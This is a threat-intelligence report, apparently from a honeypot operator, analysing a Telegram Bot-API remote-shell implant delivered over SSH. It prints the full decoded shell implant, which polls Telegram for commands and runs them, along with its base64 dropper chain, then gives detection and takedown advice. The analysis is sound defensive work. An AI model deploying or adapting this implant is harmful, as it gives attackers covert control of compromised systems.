TI-2026-063A — The Telegram Shell: A Bot-API C2 Implant in 25 Lines of POSIX sh

Classification: HIGH · Forensic threat intelligence · Honeypot-derived · Published 2026-07-07 · Series: The Trusted Channel

On 2026-07-07 the honeypot caught a full command-and-control implant being deployed live — and it has no C2 server. Instead it turns Telegram's Bot API into its command channel: the malware polls api.telegram.org for instructions and answers over the same channel. No attacker domain to sinkhole, no IP to block, all traffic TLS-encrypted to a service every firewall on earth allows. Twenty-five lines of portable /bin/sh give the operator a remote shell over any compromised box, driven from a Telegram chat. This is the whole thing, decoded — captured twice in one day, in two versions, from two Tunisian mobile IPs sharing one bot token: an operator iterating on a tool in real time.

1. The Delivery

A single SSH session (root/root, client SSH-2.0-Go, HASSH 7be2ba0c6828ca060cf7e5f104625c45) does everything in 1.6 seconds. It writes the implant to /tmp/.a.sh three redundant ways and launches it:

cat >/tmp/.a.sh << 'SEC'        # attempt 1: heredoc
...implant...
SEC
B=IyEvYmluL3No…                 # attempt 2: base64 blob in a variable
(echo $B | base64 -d       >/tmp/.a.sh 2>/dev/null \
 || echo $B | busybox base64 -d >/tmp/.a.sh 2>/dev/null \
 || echo $B | openssl base64 -d -A >/tmp/.a.sh 2>/dev/null) \
 && chmod +x /tmp/.a.sh && nohup /tmp/.a.sh >/dev/null 2>&1 &

Two design choices stand out, and both target minimal, heterogeneous systems — the routers, NAS boxes and IoT devices that make up most compromised inventory:

• A base64-decoder fallback chain. base64 -d (coreutils) → busybox base64 -d (embedded Linux) → openssl base64 -d -A (anything with OpenSSL). Whichever exists, the payload decodes. A device with none of coreutils' tooling still runs the implant.
• The heredoc and the base64 both carry the same script. Redundant delivery: if the shell mangles the heredoc, the base64 path still lands it. Belt and braces for flaky embedded shells.

The file is a hidden dotfile (.a.sh) in world-writable /tmp, backgrounded with nohup … &. Persistence is deliberately light — tmp-only, no reboot survival — consistent with a disposable, fast-spreading worker rather than a long-term implant.

2. The Implant, Decoded

The base64 decodes, byte-for-byte, to this (token secret redacted):

#!/bin/sh
TOKEN="8063945940:AAGyI7iriW4d…[REDACTED]"
ID=$(hostname)-$(whoami)
CHAT="CHANGE_ME"
URL="https://api.telegram.org/bot$TOKEN"
send(){ wget -q -O- "$URL/sendMessage?chat_id=$1&text=$2" 2>/dev/null \
        || curl -s "$URL/sendMessage?chat_id=$1&text=$2" 2>/dev/null; }
[ "$CHAT" != "CHANGE_ME" ] && send "$CHAT" "online $ID"
OFFSET=0
while :; do
  D=$(wget -q -O- "$URL/getUpdates?timeout=10&offset=$OFFSET" 2>/dev/null \
      || curl -s "$URL/getUpdates?timeout=10&offset=$OFFSET" 2>/dev/null)
  echo "$D" | tr '}' '\n' | grep '"message"' | while read -r B; do
    CID=$(echo "$B" | tr ',' '\n' | grep '"chat"' | grep -o '"id":[0-9]*' | cut -d: -f2)
    TEXT=$(echo "$B" | tr ',' '\n' | grep '"text"' | cut -d'"' -f4)
    [ -z "$CID" ] && continue; [ -z "$TEXT" ] && continue
    case "$TEXT" in
      PING)   send "$CID" "PONG $ID" ;;
      ID)     send "$CID" "$ID" ;;
      CMD\ *) C=$(echo "$TEXT" | cut -d' ' -f2-)
              R=$(sh -c "$C" 2>&1 | head -30)
              send "$CID" "$R" ;;
    esac
  done
  OFFSET=$(echo "$D" | grep -o '"update_id":[0-9]*' | tail -1 | cut -d: -f2)
  [ -z "$OFFSET" ] && OFFSET=0; OFFSET=$((OFFSET+1))
  sleep $((3+RANDOM%5))
done

It is a complete C2 agent with a three-command protocol:

CMD is a full remote shell. The loop long-polls getUpdates (10-second server-side wait), parses the JSON with nothing but tr, grep and cut (no jq, no python), executes, replies, advances the update offset, and sleeps a jittered 3–8 seconds. ID=$(hostname)-$(whoami) tags every reply so the operator can tell victims apart in a single chat.

3. Why Telegram Is the Point

Using the Bot API as C2 is not a gimmick — it removes the three things defenders normally attack:

• No infrastructure to seize. There is no attacker domain, no C2 IP, no TLS cert to pivot on. The endpoint is api.telegram.org — Telegram's own infrastructure, which no enterprise blocks and no takedown reaches.
• The channel is invisible in the usual places. Outbound HTTPS to Telegram from a random server is unremarkable; it blends with legitimate traffic and is TLS-encrypted end to end. Netflow and domain blocklists see nothing hostile.
• The operator is anonymous and mobile. They command the fleet from a Telegram account on a phone. There is no login to their infrastructure to trace, because there is no infrastructure.

The single point of failure is inverted: the one thing that kills this C2 is Telegram banning the bot (8063945940). That is also the defender's most effective response (§6) — and the reason publishing the bot ID matters.

There is one notable weakness in this build: the implant executes CMD from any chat that messages the bot (CID is taken from the incoming message, with no allow-list). Anyone who knows the bot can command every infected host. CHAT="CHANGE_ME" — left at its template default — means even the "online" check-in beacon is unconfigured; the operator drives the fleet purely by messaging the bot. This is a kit, wired for interactive control, not a hardened product.

4. Two Versions in One Day

The fingerprint 7be2ba0c appears on exactly two IPs, both Tunisian, both on 2026-07-07, both root/root, both carrying the same bot token — and they run different versions of the implant:

Same token, same protocol, same delivery method — but the parser and the poll cadence were rewritten between the morning and afternoon captures. This is an operator actively developing the tool against live targets, four hours apart. The honeypot did not catch a finished product; it caught a work-in-progress being tested in the field.

5. The Origin

Both source IPs belong to Tunisia: 197.16.54.217 is AS37693 Ooredoo Tunisie (ATI — Agence Tunisienne Internet), usage type Mobile ISP, AbuseIPDB 28, threat score 0; 197.27.241.72 sits in the same Tunisian telecom space, threat 15. These are mobile/CGNAT addresses with near-clean reputations — either the operator's own connections or compromised Tunisian handsets used to launch the deployment. The low reputation is unremarkable for mobile IPs and should not be read as low risk; the risk here is entirely in the payload, not the source's history.

6. Alternative Interpretation

Steelman: "This is a hobbyist's toy. CHAT=CHANGE_ME is unconfigured, persistence is tmp-only, the command auth is non-existent, and it was caught mid-rewrite. Twenty-five lines of sh polling a Telegram bot is a proof-of-concept, not a threat."

Why it still matters:

• It works, and it is complete. CMD is arbitrary remote code execution with output exfil. Unconfigured beacon or not, an operator messaging the bot owns every box that ran this. "Simple" and "effective" are not opposites — the minimalism is why it runs on devices that reject heavier malware.
• The technique is the threat, not the polish. Telegram-Bot-API C2 defeats domain/IP blocking and hides the operator regardless of how tidy the script is. A rough implementation of an un-blockable channel is more dangerous than a polished one that phones home to a seizable server.
• The two-version capture proves intent and iteration. This is not a one-off paste; it is a tool under development, deployed twice in an afternoon. Toys do not get parser rewrites between deployments.

What is not claimed: attribution to a named actor (the Tunisian mobile origin could be the operator or a relay — MEDIUM), or that this is a large campaign (two IPs, one day — the technique is the finding, not a fleet count). The CMD-from-any-chat weakness also means a third party could hijack the bot's implants, which argues for rapid takedown, not against significance.

Confidence: HIGH — that this is a functional Telegram-Bot-API C2 remote-shell implant, delivered cross-platform, iterated across two same-day versions from one operator/one bot token. MEDIUM on operator identity and campaign scale.

7. Defense Response

• Report the bot for takedown — it is the whole kill chain. Telegram bot 8063945940 is the single C2 for every host that ran this implant. Reporting it to Telegram (@BotFather abuse / abuse@telegram.org) severs command-and-control for the entire fleet at once. This is the highest-leverage action and the reason the bot ID is published while the token secret is redacted.
• Detection lives in the behaviour, not the IP. Watch for: outbound HTTPS to api.telegram.org/bot*/getUpdates from a server with no business using Telegram; a hidden /tmp/.a.sh (or similar) launched via nohup; and the base64-decoder fallback pattern (base64 -d || busybox base64 -d || openssl base64 -d) in shell history. HASSH 7be2ba0c6828ca060cf7e5f104625c45 with a root/root login is the network-side tell.
• Egress-filter the trusted service. Servers that never legitimately use Telegram should not reach api.telegram.org. Allow-listing outbound destinations turns an un-blockable C2 into a blocked one — the only reliable network defence against living-off-a-trusted-service C2.
• The source is a mobile IP — block the payload, not the address. Banning a Tunisian CGNAT address is low-value (dynamic, shared). Prioritise the bot takedown, the egress filter, and the behavioural detection. And, as always here: root/root should never authenticate.

8. Investigation Metadata

Cristian Lișneanu · shuffle-on.com · Threat Intelligence